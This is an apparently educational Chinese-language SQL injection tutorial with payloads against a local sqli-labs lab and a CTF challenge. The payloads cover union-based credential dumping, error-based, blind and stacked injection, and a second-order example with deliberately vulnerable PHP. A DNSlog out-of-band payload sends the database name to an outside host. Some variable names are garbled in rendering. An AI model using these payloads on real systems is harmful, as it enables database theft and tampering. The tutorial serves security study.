sql注入详解【从数据库架构分析】

简介

SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。

数据库的架构

  • access数据库无数据库用户

  • mysql数据库

    • mysql类型一

      • root(自带默认)

        • 网站A testA
        • 网站B testB
    • mysql类型二

      • testA用户

        • 网站A testA
      • testB用户

        • 网站B testB
  • mysql数据库名称含义

    • information_schema:存储数据库下的数据库名、表名及列名信息的数据库。

      information_schema.schemata:记录数据库名信息的表。

      information_schema.tables:记录表名信息的表。

      information_schema.columns:记录列名信息的表。

      schema_name:在information_schema.schemata中,用于记录数据库名的列名值。

      table_schema:在information_schema.tables中,用于记录数据库名的列名值。

      table_name:在information_schema.tables中,用于记录表名的列名值。

      column_name:在information_schema.columns中,用于记录列名的字段。

    • 示例

      • information_schema.schemata中的schema_name

      • information_schema.tables中的table_name

      • information_schema.columns中的column_name

sql注入

  1. 概念
    1. SQL注入是一种常见的Web应用程序安全漏洞,它允许攻击者在Web应用程序中插入恶意SQL语句,从而操纵数据库执行非授权的操作。这种攻击利用了应用程序在处理用户输入时的不足,特别是当应用程序直接将用户输入作为SQL语句的一部分使用,而没有进行适当的验证和清理时。
  2. 正常语句
  3. 正常回显页面
  4. 在页面中使用sql语句
    1. 查有多少字段

      1. http://127.0.0.1/sqliab/Less-1/?id=1’order by 3–+

      2. http://127.0.0.1/sqliab/Less-1/?id=1’order by 4–+,报错说明有2个字段

    2. 数据库名称

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,database(),3–+
    3. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“security”–+

      2. 字段

        1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+
      3. 对应字段的值

      4. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,username,0x5c,password) from users–+

  5. 跨库查询

    1. 数据库名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata–+
    2. 表名

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=“demo01”–+
    3. 字段

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘news’–+
    4. 字段的值

      1. http://127.0.0.1/sqliab/Less-1/?id=-1’ union select 1,2,group_concat(0x5c,page_title,0x5c,heading,0x5c,content) from demo01.news–+

sql文件读写

  1. 影响条件
    1. 当前数据库用户的权限
    2. secyre-file-priv设置
  2. 复现
    1. 读写的路径的问题
      1. 报错显示获取路径
      2. phpinfo页面泄露
      3. 利用常见的默认的中间件,数据库等安装路径读取有价值的信息

sql注入请求分类

  1. sql注入请求类型
    1. 数字型

      1. select * from news where id=$id;
    2. 字符型

      1. select * from news where id=‘$id’;
    3. 搜索型

      1. select * from news where id like ‘%id%’;
    4. 框架型

      1. select * from news where id=(‘$id’);
      2. select * from news where (id=‘$id’);
  2. sql注入请求方式:
    1. get,post,files,http头等

      1. user-agent

        1. 语句: u a = ua= ua=_SERVER[‘HTTP_USER_AGENT’];
      2. cookie

        1. 语句: c = c= c=_COOKIE[‘c’];
      3. X-Forwarded-For:简称XFF头,用于获取服务器的真实ip(可伪造)

        1. 语句: x f f = xff= xff=_SERVER[‘HTTP_X_FORWARDED_FOR’];
      4. Referer:请求来源–从哪个网站来的

        1. 语句: r = r= r=_REQUEST[‘r’];
      5. Host:指定自己想访问的web服务的域名/ip地址和端口号

  3. sql注入数据请求格式
    1. json格式

    2. base64格式

数据库的增删改查

  1. 数据库查询
    1. SELECT * FROM news where id=$id
  2. 数据库添加
    1. INSERT INTO news (ziduanming VALUES (数据)
  3. 数据库删除
    1. DELETE FROM news where id=$id
  4. 数据库修改
    1. UPDATE news SET id=$id

盲注

  1. 时间
    1. 概念

      1. 通过时间判断语句是否成功执行来解决无回显问题
    2. and sleep(1);

    3. and if(1>2,sleep(5),0);

  2. 布尔
    1. 概念

      1. 通过页面是否正常返回来判断语句是否被执行,源码需要有前端输出变量
    2. and length(database())=7;

    3. and left(database(),2)=‘pi’

    4. and substr(database(),1,1)=‘p’

  3. 报错
    1. 概念

      1. 通过页面的容错处理返回的结果来进行注入,源码需要有mysqli_error函数
    2. updatexml函数

      1. http://127.0.0.1/sqli/new.php?id=-1 or updatexml(1,concat(0x7e,(select version()),0x7e),1)

    3. extractvalue函数

      1. and extractvalue(1,concat(0x5c,(select table_name from information_schema.tables limit 1)));

    4. flor函数

      1. http://127.0.0.1/sqli/new.php?id=-1 OR (SELECT 1 FROM (SELECT COUNT(*), CONCAT(database(), FLOOR(RAND(0) * 2)) x FROM information_schema.tables GROUP BY x) a)
    5. NAME_CONST报错

      1. http://127.0.0.1/sqli/new.php?id=-1 or exists(select * from (select*from(select name_const(version(),0))a join (select name_const(version(),0))b)c)

二次注入

  1. 插入恶意发数据
    1. 第一次进行数据库插入数据的时候仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。
  2. 引用恶意数据
    1. 在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入
  3. 条件:
    1. 插入恶意数据的对应语句需要有addslashes函数,他是用来将传来的数据的单引号进行转义插入数据库,原来主义是防止sql注入的,现在导致了二次注入

      1. 用户输入:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        转义函数转义后:xiaodi/’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
        数据库显示:xiaodi’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)#
  4. 示例:
    1. 主要源码

      register.php
      if ($_SERVER['REQUEST_METHOD'] === 'POST') {$username = addslashes($_POST['username']);$password = $_POST['password'];// 插入新用户记录$query = "INSERT INTO users (username, password) VALUES ('$username', '$password')";
      ===================================================================================
      changepassword.php
      $query = "SELECT * FROM users WHERE username = '$username' AND password = '$currentPassword'";$result = mysqli_query($connection, $query) or die(mysqli_error($connection));if (mysqli_num_rows($result) > 0) {// 更新密码$query = "UPDATE users SET password = '$newPassword' WHERE username = '$username'";$updateResult = mysqli_query($connection, $query);if ($updateResult) {echo "Password changed successfully!";} else {echo "Failed to change password!";}} else {echo "Invalid username or current password!";}
      
  5. 堆叠注入

    1. 条件

      1. 查询函数时需要用到mysqli_multi_query函数,而不是mysqli_query()函数,因为他不支持多条语句执行
      2. 数据库(此数据库默认是只能执行一条sql语句,但是可以配合一些函数达到多条语句查询效果,例如联合查询(union select),堆叠注入(mysqli_query()))支持多条语句查询
      3. 存在sql漏洞并未对‘;‘进行过滤
    2. 示例:

      [强网杯 2019]随便注  1
      ';show databases;//注意不是database()
      ';show tables;
      1';use/**/supersqli;SeT @a=0x73656c656374202a2066726f6d206031393139383130393331313134353134603b;prepare a from @a;execute a;#
      进入supersqli数据库,16进制解码后select * from `1919810931114514`;1919810931114514为表名,后面就是执行语句的意思
      解法二:
      1'; handler `1919810931114514` open as a; handler a read next;#
      解读:
      handler代替select,以一行一行显示内容
      open打开表
      as更改表的别名为a
      read next读取数据文件内的数据次数
      解法三:
      1';rename table words to BaiMao;rename table `1919810931114514` to words;alter table words add id int unsigned not NULL auto_increment primary key;alter table words change flag data varchar(100);#
      解读:
      -- 重命名表 words 为 BaiMao
      RENAME TABLE words TO BaiMao;-- 重命名表 1919810931114514 为 words
      RENAME TABLE `1919810931114514` TO words;-- 向表 words 添加一个自动递增的 id 列,并设为主键
      ALTER TABLE words ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY;-- 修改列 flag 的名称为 data,并将其类型改为 varchar(100)
      ALTER TABLE words CHANGE flag data VARCHAR(100);-- 注释掉之后的内容
      

带外注入

  1. 条件

    1. root高权限
    2. 数据库支持load_file函数
  2. 示例:

    1.  SELECT * FROM `news` WHERE id = -1 or (SELECT LOAD_FILE(CONCAT('//', (SELECT DATABASE()),'.k7e9z3.dnslog.cn')));实战碰到的概率不大,演示不了,payload如上所示
      

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/51434.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

聊聊基于Alink库的特征工程方法

独热编码 OneHotEncoder 是用于将类别型特征转换为独热编码的类。独热编码是一种常用的特征编码方式,特别适用于处理类别型特征,将其转换为数值型特征。 对于每个类别型特征,OneHotEncoder 将其编码成一个长度为类别数量的向量。 每个类别对…

数据库实验:SQL Server基本表单表查询

一、实验目的: 1、掌握使用SQL语法实现单表查询 二、实验内容: 1. 查询订购日期为2001年5月22日的订单情况。(Orders)(时间日期的表达方式为 dOrderDate ‘2001-5-22’,类似字符串,使用单引号…

NumpyPandas:Pandas库(50%-100%)

目录 前言 一、排序 1.使用索引排序 2.使用变量值排序 二、计算新变量 1.新变量为常量 2.根据原变量新增列 3.基于一个原变量做函数运算 4.在指定位置插入新列 三、修改替换变量值 1.对应数值替换 2.指定范围替换 四、虚拟变量变换 五、数值变量分组 六、数据分组…

构建大规模账号池与本地部署:GitHub爬虫项目详解

账号池搭建 必要性 常见登录方式: 基于Session Cookie的登录基于JWT的登录:登录生成JWT字符串 账号池存储cookie或者JWT字符串 方便后续发请求爬取数据 本地部署 conda建立一个虚拟环境 conda create -n new_env python3.x # 替换 x 为你需要的 P…

Python3网络爬虫开发实战(7)JavaScript 动态渲染页面爬取

文章目录 一、Selenium1. 基本安装2. 基本使用3. 声明浏览器对象4. 访问页面5. 查找节点6. 节点交互7. 动作链8. 执行 JavaScript9. 获取节点信息10. 切换 Frame11. 延时等待12. 前进后退13. Cookies14. 选项卡管理15. 异常处理16. 反屏蔽17. 无头模式18. Pyppeteer&#xff0c…

ubuntu 配置opencv-python-imsow()报错

python调用imshow()时出现下面的错误: error: (-2:Unspecified error) The function is not implemented. Rebuild the library with Windows, GTK 2.x or Cocoa support. If you are on Ubuntu or Debian, install libgtk2.0-dev and pkg-c…

PHP多功能投票系统源码小程序

🎉决策不再难!「多功能投票小程序」一键搞定所有选择困难症✨ 🤔选择困难?「多功能投票小程序」来救场! 每次聚会、团队讨论还是日常小决策,是不是总有那么几个瞬间让你陷入“选哪个好呢?”的…

自动控制:带死区的PID控制算法

带死区的PID控制算法 在计算机控制系统中,为了避免控制动作过于频繁,消除因频繁动作所引起的振荡,可采用带死区的PID控制。带死区的PID控制通过引入一个死区,使得在误差较小的范围内不进行控制动作,从而减少控制系统的…

将nvim的配置 上传gitee

首先是创建仓库 接着进入这个界面 然后是上传代码, 结果: 可以看到已经是可以了。 然后是 拉取代码进行测试。 第一次 拉取 使用 git clone .(家里) 做一点修改,然后上传。(公司) 然后在git pu…

【ROS2】概念:中级-不同的 ROS 2 中间件供应商

目录 支持的 RMW 实现多种 RMW 实现默认 RMW 实现 ROS 2 构建在 DDS/RTPS 之上,作为其中间件,提供发现、序列化和传输。本文( https://design.ros2.org/articles/ros_on_dds.html )详细解释了使用 DDS 实现和/或 DDS 的 RTPS 有线…

Linux驱动开发——字符设备驱动开发

1 概述 1.1 说明 本文是学习rk3568开发板驱动开发的记录,代码依托于rk3568开发板 1.2 字符设备介绍 字符设备是 Linux 驱动中最基本的一类设备驱动,字符设备就是一个一个字节,按照字节流进行读写操作的设备,读写数据是分先后顺…

用 Manim 库来生成一个树形结构的动画

完整代码: from manim import * class LargeTreeGeneration01(MovingCameraScene): DEPTH 3 CHILDREN_PER_VERTEX 2 LAYOUT_CONFIG {"vertex_spacing": (0.8, 1)} VERTEX_CONF {"radius": 0.12, "color": BLUE_B, "fi…

java基础概念05-运算符

一、自增自减运算符 二、赋值运算符 2-1、注意 三、关系运算符 四、逻辑运算符 4-1、短路逻辑运算符 五、三元运算符 六、运算符的优先级

Catalyst优化器:让你的Spark SQL查询提速10倍

目录 1 逻辑优化阶段 2.1 逻辑计划解析 2.2 逻辑计划优化 2.2.1 Catalys的优化过程 2.2.2 Cache Manager优化 2 物理优化阶段 2.1 优化 Spark Plan 2.1.1 Catalyst 的 Join 策略 2.1.2 如何决定选择哪一种 Join 策略 2.2 Physical Plan 2.2.1 EnsureRequirements 规则 3 相关文…

Linux基本用法(上)

1.计算机主要由 硬件和软件 组成 2.操作系统是什么 ? 有什么作用? 操作系统是软件的一类 主要作用是协助用户调度硬件工作,充当用户和计算机之间的桥梁 3.常见的操作系统有哪些? PC端: Windows,Linux,MacOS 移动端: Android&#xff…

搭建cool-admin-java(前端vue)项目

为什么选择 Cool Admin?​ 随着技术不断地发展,特别是最近 Ai 相关的技术发展,以往的框架已经越来越不能满足现代化的开发需求。 Cool Admin 做为后来者有后发优势,主要特点: Ai 编码,从页面到后端代码&…

数据库实验:SQL Server创建数据库及基本表

一、实验目的: 1、掌握使用SQL SERVER Management Studio工具连接数据库引擎; 2、掌握使用CREATE TABLE 创建基本表的用法; 3、掌握使用ALTER TABLE 修改基本表的用法; 4、掌握使用DROP TABLE删除基本表的用法; 二…

姜夔,师法自然的不仕道人

姜夔(ku),字尧章,号白石道人,约生于南宋绍兴二十四年(公元1154年),卒于南宋嘉定十四年(公元1221年),享年67岁。他的艺术成就涵盖了诗词、散文、书…

Rpi Zero W做的老头乐声控灯

祭图__|\0>历经各种尝试,最后选了docker 里装个rhasspy,配上paho-mqtt搞出了这个奇葩夜灯。各种曲折就不说了,直接分享捷径思路。 这个绿板子是respeaker hat with 2 mic 用的是seeed-voicecard,跟着github编译,不…

微信小程序开发(百货商战)实战项目的购物车和个人中心的创建

👨‍💻个人主页:开发者-曼亿点 👨‍💻 hallo 欢迎 点赞👍 收藏⭐ 留言📝 加关注✅! 👨‍💻 本文由 曼亿点 原创 👨‍💻 收录于专栏&#xff1a…